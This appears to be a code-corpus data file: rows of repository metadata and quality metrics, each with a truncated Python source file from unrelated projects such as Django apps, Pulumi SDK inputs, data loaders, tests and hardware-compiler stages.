# Unless required by applicable law ... | 38.83871 | 88 | 0.725914 | 165 | 1,204 | 5.181818 | 0.563636 | 0.070175 | 0.030409 | 0.037427 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008256 | 0.195183 | 1,204 | 30 | 89 | 40.133333 | 0.874097 | 0.653654 | 0 | 0 | 0 | 0 | 0.039548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
46e03e67100272373dbf1ee88d5d16ecb5dcbff8 | 337 | py | Python | devilry/devilry_dbcache/devilry_dbcache_testapp/models.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | 29 | 2015-01-18T22:56:23.000Z | 2020-11-10T21:28:27.000Z | devilry/devilry_dbcache/devilry_dbcache_testapp/models.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | 786 | 2015-01-06T16:10:18.000Z | 2022-03-16T11:10:50.000Z | devilry/devilry_dbcache/devilry_dbcache_testapp/models.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | 15 | 2015-04-06T06:18:43.000Z | 2021-02-24T12:28:30.000Z | from django.db import models
from devilry.devilry_dbcache.bulk_create_queryset_mixin import BulkCreateQuerySetMixin
class PersonQuerySet(models.QuerySet, BulkCreateQuerySetMixin):
pass
class Person(models.Model):
objects = PersonQuerySet.as_manager()
name = models.TextField()
age = models.IntegerF... | 22.466667 | 86 | 0.792285 | 37 | 337 | 7.081081 | 0.702703 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006849 | 0.133531 | 337 | 14 | 87 | 24.071429 | 0.890411 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.125 | 0.25 | 0 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
46e068f2889b5047e1c0fa0277cf1e07cf95b860 | 34,375 | py | Python | sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 44 | 2021-04-18T23:00:48.000Z | 2022-02-14T17:43:15.000Z | sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 354 | 2021-04-16T16:48:39.000Z | 2022-03-31T17:16:39.000Z | sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 8 | 2021-04-24T17:46:51.000Z | 2022-01-05T10:40:21.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | 45.052425 | 531 | 0.679738 | 4,232 | 34,375 | 5.352552 | 0.093336 | 0.085467 | 0.100653 | 0.049797 | 0.730796 | 0.575137 | 0.508035 | 0.438019 | 0.402084 | 0.37798 | 0 | 0.002389 | 0.220713 | 34,375 | 762 | 532 | 45.111549 | 0.843213 | 0.321629 | 0 | 0.294492 | 1 | 0 | 0.137133 | 0.032794 | 0 | 0 | 0 | 0 | 0 | 1 | 0.20339 | false | 0 | 0.03178 | 0.016949 | 0.353814 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46e3a5a2a04d61359d2e88149a9d0578cc769b76 | 1,689 | py | Python | pysrc/papers/db/loaders.py | JetBrains-Research/pubtrends | 5352bec2cca3321f8554d8e60728fe6d8494edcb | [
"Apache-2.0"
] | 7 | 2022-01-10T15:48:31.000Z | 2022-02-28T11:42:15.000Z | pysrc/papers/db/loaders.py | JetBrains-Research/pubtrends | 5352bec2cca3321f8554d8e60728fe6d8494edcb | [
"Apache-2.0"
] | 12 | 2021-11-04T17:21:10.000Z | 2022-02-23T15:01:10.000Z | pysrc/papers/db/loaders.py | JetBrains-Research/pubtrends | 5352bec2cca3321f8554d8e60728fe6d8494edcb | [
"Apache-2.0"
] | null | null | null | from pysrc.papers.db.pm_postgres_loader import PubmedPostgresLoader
from pysrc.papers.db.postgres_connector import PostgresConnector
from pysrc.papers.db.ss_postgres_loader import SemanticScholarPostgresLoader
from pysrc.papers.utils import PUBMED_ARTICLE_BASE_URL, SEMANTIC_SCHOLAR_BASE_URL
from pysrc.prediction.ss_arx... | 41.195122 | 87 | 0.706927 | 179 | 1,689 | 6.47486 | 0.351955 | 0.046592 | 0.051769 | 0.044003 | 0.075065 | 0.056946 | 0.056946 | 0 | 0 | 0 | 0 | 0.000767 | 0.228538 | 1,689 | 40 | 88 | 42.225 | 0.888718 | 0.065127 | 0 | 0.151515 | 0 | 0 | 0.080686 | 0 | 0 | 0 | 0 | 0.025 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0.030303 | 0.515152 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
46e3ff53fb1b941d4c468448c6fb18d3fa28aa71 | 1,249 | py | Python | valid8/tests/validation_lib/test_validators_comparables.py | smarie/python-validate | c8a10ccede1c0782355439b0966f532bf00dfcab | [
"BSD-3-Clause"
] | 26 | 2018-01-10T03:44:19.000Z | 2021-11-28T07:56:31.000Z | valid8/tests/validation_lib/test_validators_comparables.py | smarie/python-validate | c8a10ccede1c0782355439b0966f532bf00dfcab | [
"BSD-3-Clause"
] | 55 | 2017-11-06T14:45:47.000Z | 2021-05-12T08:28:11.000Z | valid8/tests/validation_lib/test_validators_comparables.py | smarie/python-valid8 | c8a10ccede1c0782355439b0966f532bf00dfcab | [
"BSD-3-Clause"
] | null | null | null | import pytest
from valid8.validation_lib import gt, gts, lt, lts, between, NotInRange, TooSmall, TooBig
def test_gt():
""" tests that the gt() function works """
assert gt(1)(1)
with pytest.raises(TooSmall):
gt(-1)(-1.1)
def test_gts():
""" tests that the gts() function works """
with p... | 21.534483 | 89 | 0.598078 | 190 | 1,249 | 3.873684 | 0.205263 | 0.029891 | 0.195652 | 0.092391 | 0.355978 | 0.160326 | 0.160326 | 0.097826 | 0 | 0 | 0 | 0.045648 | 0.245797 | 1,249 | 57 | 90 | 21.912281 | 0.735669 | 0.183347 | 0 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 1 | 0.181818 | true | 0 | 0.090909 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46fa825c8cf74b729c7a17900171bc2636e74e47 | 5,801 | py | Python | .ipynb_checkpoints/GenerateLambdas-checkpoint.py | ponte-vecchio/Deepfake-Microbiomes | d53b1a7fcd1edc1d9eacfd41783c533ce4dac967 | [
"MIT"
] | 2 | 2021-04-22T13:59:28.000Z | 2021-06-30T23:02:31.000Z | .ipynb_checkpoints/GenerateLambdas-checkpoint.py | ponte-vecchio/Deepfake-Microbiomes | d53b1a7fcd1edc1d9eacfd41783c533ce4dac967 | [
"MIT"
] | null | null | null | .ipynb_checkpoints/GenerateLambdas-checkpoint.py | ponte-vecchio/Deepfake-Microbiomes | d53b1a7fcd1edc1d9eacfd41783c533ce4dac967 | [
"MIT"
] | 1 | 2021-07-04T00:30:00.000Z | 2021-07-04T00:30:00.000Z | import numpy as np
import pandas as pd
def GenerateLambdasFromExcel(Experiment,File = "Pairwise_Chemostat.xlsx",version = "Equilibrium",mu = 1):
Community = Experiment.Community
Invader = Experiment.Invader
RelativeAbundanceAll = pd.read_excel(File,sheet_name = "Relative_Abundance",index_col = 0)
C... | 40.006897 | 125 | 0.625582 | 648 | 5,801 | 5.512346 | 0.165123 | 0.010078 | 0.023516 | 0.035834 | 0.700448 | 0.682531 | 0.682531 | 0.682531 | 0.646697 | 0.646697 | 0 | 0.011124 | 0.256163 | 5,801 | 144 | 126 | 40.284722 | 0.816686 | 0.11929 | 0 | 0.617021 | 1 | 0 | 0.042956 | 0.004532 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021277 | false | 0 | 0.021277 | 0 | 0.085106 | 0.021277 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46fccb83735c70f048922fbf47158f5d55003417 | 419 | py | Python | currencies/tests/test_urls.py | guestready/django-currencies | e41402008f50a20cf5eb859833d7825c42619c2b | [
"BSD-3-Clause"
] | 69 | 2015-01-08T09:58:56.000Z | 2021-06-16T12:48:21.000Z | currencies/tests/test_urls.py | guestready/django-currencies | e41402008f50a20cf5eb859833d7825c42619c2b | [
"BSD-3-Clause"
] | 55 | 2015-01-27T15:03:19.000Z | 2022-03-07T00:59:03.000Z | currencies/tests/test_urls.py | guestready/django-currencies | e41402008f50a20cf5eb859833d7825c42619c2b | [
"BSD-3-Clause"
] | 58 | 2015-01-06T01:57:11.000Z | 2022-02-28T19:50:43.000Z | # -*- coding: utf-8 -*-
from django.conf.urls import *
from django.views.generic import TemplateView
urlpatterns = [
url(r'^currencies/', include('currencies.urls')),
url(r'^$', TemplateView.as_view(template_name='index.html')),
url(r'^context_processor$', TemplateView.as_view(template_name='context_proce... | 34.916667 | 94 | 0.718377 | 54 | 419 | 5.388889 | 0.462963 | 0.054983 | 0.185567 | 0.268041 | 0.357388 | 0.254296 | 0 | 0 | 0 | 0 | 0 | 0.00266 | 0.102625 | 419 | 11 | 95 | 38.090909 | 0.771277 | 0.050119 | 0 | 0 | 0 | 0 | 0.275253 | 0.055556 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2000f783fffdbadf726d700fb6aba4e46ec3a2dc | 6,081 | py | Python | spiro/elastfe.py | behdad/fontcrunch | a8a41623f49feeeb2ba29e9e90b19a9637113c6d | [
"Apache-2.0"
] | 1 | 2021-01-07T07:56:24.000Z | 2021-01-07T07:56:24.000Z | spiro/elastfe.py | behdad/fontcrunch | a8a41623f49feeeb2ba29e9e90b19a9637113c6d | [
"Apache-2.0"
] | null | null | null | spiro/elastfe.py | behdad/fontcrunch | a8a41623f49feeeb2ba29e9e90b19a9637113c6d | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
# Copyright 2013 The Font Bakery Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | 35.354651 | 90 | 0.617004 | 901 | 6,081 | 4.150943 | 0.225305 | 0.06738 | 0.076203 | 0.091444 | 0.550535 | 0.519786 | 0.456417 | 0.435294 | 0.394118 | 0.394118 | 0 | 0.104807 | 0.240585 | 6,081 | 171 | 91 | 35.561404 | 0.705067 | 0.124815 | 0 | 0.423358 | 0 | 0 | 0.406904 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.014599 | null | null | 0.708029 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
2022075e4ea2fb0fe56fd0893ae255992ccd6f7b | 640 | py | Python | resources/routes.py | costayca/SmallAPIUserAndIngredients | 0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b | [
"MIT"
] | null | null | null | resources/routes.py | costayca/SmallAPIUserAndIngredients | 0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b | [
"MIT"
] | null | null | null | resources/routes.py | costayca/SmallAPIUserAndIngredients | 0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b | [
"MIT"
] | null | null | null | from .movie import MovieApi, MoviesApi
from .auth import SignupApi, LoginApi
from .ingredient import IngredientApi, IngredientsApi
# from .kerasApi import KerasApi
from .fastaiApi import FastaiApi
def initialize_routes(api):
api.add_resource(MoviesApi, '/api/movies')
api.add_resource(MovieApi, '/api/movies/<id... | 35.555556 | 60 | 0.745313 | 79 | 640 | 5.924051 | 0.329114 | 0.102564 | 0.239316 | 0.068376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121875 | 640 | 18 | 61 | 35.555556 | 0.83274 | 0.110938 | 0 | 0 | 0 | 0 | 0.186949 | 0.037037 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.333333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
20456537a5c6aea960473d2a9276610b6f2f1cc1 | 1,416 | py | Python | blogging/views.py | greeneyedsoandso/django | 7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc | [
"Unlicense"
] | null | null | null | blogging/views.py | greeneyedsoandso/django | 7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc | [
"Unlicense"
] | 2 | 2020-11-22T22:34:56.000Z | 2020-11-25T03:59:30.000Z | blogging/views.py | greeneyedsoandso/django | 7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc | [
"Unlicense"
] | null | null | null | from django.shortcuts import render
from django.http import HttpResponse, HttpResponseRedirect, Http404
from django.template import loader
from blogging.models import Post
from django.views.generic.list import ListView
from django.views.generic.detail import DetailView
from django.shortcuts import redirect
from django... | 28.897959 | 73 | 0.704096 | 160 | 1,416 | 6.13125 | 0.39375 | 0.091743 | 0.045872 | 0.067278 | 0.106014 | 0.106014 | 0.106014 | 0.106014 | 0.106014 | 0 | 0 | 0.002688 | 0.211864 | 1,416 | 48 | 74 | 29.5 | 0.876344 | 0 | 0 | 0 | 0 | 0 | 0.069209 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027778 | false | 0 | 0.333333 | 0 | 0.722222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
204adb67c86260fa9da2f822cd26c121d399b5b3 | 52,013 | py | Python | primap2/pm2io/_data_reading.py | mikapfl/primap2 | a2f15cae9f7e3fabdc5d109f5e33e144de0faf97 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-05-17T17:38:37.000Z | 2021-05-17T17:38:37.000Z | primap2/pm2io/_data_reading.py | mikapfl/primap2 | a2f15cae9f7e3fabdc5d109f5e33e144de0faf97 | [
"ECL-2.0",
"Apache-2.0"
] | 84 | 2021-02-10T14:30:20.000Z | 2022-03-23T13:24:50.000Z | primap2/pm2io/_data_reading.py | mikapfl/primap2 | a2f15cae9f7e3fabdc5d109f5e33e144de0faf97 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2021-02-10T10:22:41.000Z | 2021-02-10T14:22:08.000Z | import datetime
import itertools
from pathlib import Path
from typing import (
IO,
Any,
Callable,
Dict,
Hashable,
Iterable,
List,
Optional,
Set,
Union,
)
import numpy as np
import pandas as pd
from loguru import logger
from .. import _alias_selection
from .._units import ureg
f... | 38.329403 | 138 | 0.661354 | 6,943 | 52,013 | 4.783091 | 0.068126 | 0.033124 | 0.021139 | 0.009275 | 0.752085 | 0.711644 | 0.686982 | 0.68099 | 0.667861 | 0.658165 | 0 | 0.005618 | 0.260819 | 52,013 | 1,356 | 139 | 38.35767 | 0.858142 | 0.505662 | 0 | 0.422886 | 0 | 0 | 0.077969 | 0.012714 | 0 | 0 | 0 | 0.005162 | 0 | 1 | 0.036484 | false | 0 | 0.018242 | 0 | 0.079602 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
204f7a689c9cb2fdb02cbe9f771915f1d9f47a4e | 286 | py | Python | students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py | TonikX/ITMO_ICT_-WebProgramming_2020 | ba566c1b3ab04585665c69860b713741906935a0 | [
"MIT"
] | 10 | 2020-03-20T09:06:12.000Z | 2021-07-27T13:06:02.000Z | students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py | TonikX/ITMO_ICT_-WebProgramming_2020 | ba566c1b3ab04585665c69860b713741906935a0 | [
"MIT"
] | 134 | 2020-03-23T09:47:48.000Z | 2022-03-12T01:05:19.000Z | students/k3340/laboratory_works/Zakoulov_Ilya/backend/src/quests/permissions.py | TonikX/ITMO_ICT_-WebProgramming_2020 | ba566c1b3ab04585665c69860b713741906935a0 | [
"MIT"
] | 71 | 2020-03-20T12:45:56.000Z | 2021-10-31T19:22:25.000Z | from rest_framework.permissions import BasePermission, SAFE_METHODS, IsAdminUser
class IsAdminOrReadOnly(IsAdminUser):
def has_permission(self, request, view):
if request.method in SAFE_METHODS:
return True
return super().has_permission(request, view)
| 31.777778 | 80 | 0.741259 | 32 | 286 | 6.46875 | 0.71875 | 0.10628 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 286 | 8 | 81 | 35.75 | 0.896104 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
20568ee0e3d02dd89899fa7044dd4f56e65900a1 | 303 | py | Python | Convolutional-Neural-Networks/Week-1/gram_matrix.py | anoushkrit/MOOCs | 7bb4a031224af87a67d0c94043a8f15d7e718bb5 | [
"MIT"
] | 3 | 2019-10-28T19:03:43.000Z | 2021-12-02T14:39:53.000Z | Convolutional-Neural-Networks/Week-1/gram_matrix.py | anoushkrit/MOOCs | 7bb4a031224af87a67d0c94043a8f15d7e718bb5 | [
"MIT"
] | null | null | null | Convolutional-Neural-Networks/Week-1/gram_matrix.py | anoushkrit/MOOCs | 7bb4a031224af87a67d0c94043a8f15d7e718bb5 | [
"MIT"
] | 1 | 2020-12-22T05:57:27.000Z | 2020-12-22T05:57:27.000Z | # GRADED FUNCTION: gram_matrix
def gram_matrix(A):
"""
Argument:
A -- matrix of shape (n_C, n_H*n_W)
Returns:
GA -- Gram matrix of A, of shape (n_C, n_C)
"""
### START CODE HERE ### (≈1 line)
GA = tf.matmul(A, tf.transpose(A))
### END CODE HERE ###
return GA
| 17.823529 | 47 | 0.547855 | 49 | 303 | 3.265306 | 0.530612 | 0.1875 | 0.1 | 0.1125 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004673 | 0.293729 | 303 | 16 | 48 | 18.9375 | 0.738318 | 0.561056 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6463caa1511b00b8a92bd2e30addbd1f22879af8 | 1,629 | py | Python | pyhcl/dsl/stage.py | raybdzhou/PyChip-py-hcl | 08edc6ad4d2978eb417482f6f92678f8f9a1e3c7 | [
"MIT"
] | null | null | null | pyhcl/dsl/stage.py | raybdzhou/PyChip-py-hcl | 08edc6ad4d2978eb417482f6f92678f8f9a1e3c7 | [
"MIT"
] | null | null | null | pyhcl/dsl/stage.py | raybdzhou/PyChip-py-hcl | 08edc6ad4d2978eb417482f6f92678f8f9a1e3c7 | [
"MIT"
] | null | null | null | from abc import ABC, abstractclassmethod
from dataclasses import dataclass
from pyhcl.ir import low_ir
from pyhcl.dsl.check_and_infer import CheckAndInfer
from pyhcl.passes.replace_subaccess import ReplaceSubaccess
from pyhcl.passes.replace_subindex import ReplaceSubindex
from pyhcl.passes.expand_aggregate import Expa... | 28.578947 | 59 | 0.682627 | 214 | 1,629 | 5.140187 | 0.21028 | 0.131818 | 0.094545 | 0.109091 | 0.494545 | 0.494545 | 0.443636 | 0.443636 | 0.415455 | 0.335455 | 0 | 0 | 0.202578 | 1,629 | 57 | 60 | 28.578947 | 0.846805 | 0 | 0 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.104167 | false | 0.145833 | 0.229167 | 0 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
6466039d821ee4154e806e7e1417d4aa6079ddfa | 1,312 | py | Python | qatrack/qa/migrations/0032_auto_20190313_2112.py | crcrewso/qatrackplus | b9da3bc542d9e3eca8b7291bb631d1c7255d528e | [
"MIT"
] | 20 | 2021-03-11T18:37:32.000Z | 2022-03-23T19:38:07.000Z | qatrack/qa/migrations/0032_auto_20190313_2112.py | crcrewso/qatrackplus | b9da3bc542d9e3eca8b7291bb631d1c7255d528e | [
"MIT"
] | 75 | 2021-02-12T02:37:33.000Z | 2022-03-29T20:56:16.000Z | qatrack/qa/migrations/0032_auto_20190313_2112.py | crcrewso/qatrackplus | b9da3bc542d9e3eca8b7291bb631d1c7255d528e | [
"MIT"
] | 5 | 2021-04-07T15:46:53.000Z | 2021-09-18T16:55:00.000Z | # Generated by Django 2.1.7 on 2019-03-14 01:12
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('qa', '0031_convert_null_mc_tols'),
]
operations = [
migrations.AlterField(
model_name='toleranc... | 43.733333 | 305 | 0.673018 | 158 | 1,312 | 5.424051 | 0.512658 | 0.03734 | 0.087515 | 0.101517 | 0.514586 | 0.466744 | 0.413069 | 0.221704 | 0.221704 | 0.221704 | 0 | 0.026188 | 0.214177 | 1,312 | 29 | 306 | 45.241379 | 0.805044 | 0.034299 | 0 | 0.347826 | 1 | 0 | 0.33913 | 0.038735 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.086957 | 0.086957 | 0 | 0.217391 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
64776eed091b241829ab4063fb50e4b438cbec44 | 93 | py | Python | BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py | MatheusBrodt/App_LabCarolVS | 9552149ceaa9bee15ef9a45fab2983c6651031c4 | [
"MIT"
] | 1 | 2020-12-26T21:23:40.000Z | 2020-12-26T21:23:40.000Z | BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py | MatheusBrodt/App_LabCarolVS | 9552149ceaa9bee15ef9a45fab2983c6651031c4 | [
"MIT"
] | 2 | 2019-12-26T17:31:57.000Z | 2020-01-06T19:45:26.000Z | BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py | MatheusBrodt/App_LabCarolVS | 9552149ceaa9bee15ef9a45fab2983c6651031c4 | [
"MIT"
] | 2 | 2019-11-02T08:03:09.000Z | 2020-06-29T14:52:15.000Z | """pytest-cov: avoid already-imported warning: PYTEST_DONT_REWRITE."""
__version__ = "2.7.1"
| 31 | 70 | 0.741935 | 13 | 93 | 4.846154 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035294 | 0.086022 | 93 | 2 | 71 | 46.5 | 0.705882 | 0.688172 | 0 | 0 | 0 | 0 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
647972ef3df92c37ae1a9e56b1fee62d768f30c4 | 172 | py | Python | src/hauberk/__init__.py | akail/hauberk | 1fd990bdb78c78e1e8b1cee76fa8f414590fcee8 | [
"MIT"
] | null | null | null | src/hauberk/__init__.py | akail/hauberk | 1fd990bdb78c78e1e8b1cee76fa8f414590fcee8 | [
"MIT"
] | 56 | 2018-07-31T01:00:54.000Z | 2020-08-06T16:00:02.000Z | src/hauberk/__init__.py | akail/hauberk | 1fd990bdb78c78e1e8b1cee76fa8f414590fcee8 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Top-level package for Hauberk Email Automations."""
__author__ = """Andrew Kail"""
__email__ = 'andrew.a.kail@gmail.com'
__version__ = '0.1.0'
| 21.5 | 54 | 0.656977 | 23 | 172 | 4.391304 | 0.826087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026846 | 0.133721 | 172 | 7 | 55 | 24.571429 | 0.651007 | 0.412791 | 0 | 0 | 0 | 0 | 0.410526 | 0.242105 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
647cc7bce9f45f757b716e12d2b594fad871f084 | 2,460 | py | Python | projects/exceptions.py | platiagro/projects | 00da234b35003bb0ecc2d22a997e08737ceda044 | [
"Apache-2.0"
] | 6 | 2019-09-16T13:07:20.000Z | 2021-06-02T19:02:05.000Z | projects/exceptions.py | platiagro/projects | 00da234b35003bb0ecc2d22a997e08737ceda044 | [
"Apache-2.0"
] | 325 | 2019-09-20T20:06:00.000Z | 2022-03-30T15:05:49.000Z | projects/exceptions.py | platiagro/projects | 00da234b35003bb0ecc2d22a997e08737ceda044 | [
"Apache-2.0"
] | 17 | 2019-08-02T16:55:47.000Z | 2021-06-26T19:13:35.000Z | # -*- coding: utf-8 -*-
"""
Useful exception classes that are used to return HTTP errors.
"""
class ApiException(Exception):
"""
The base exception class for all APIExceptions.
Parameters
----------
code : str
Error code.
message : str
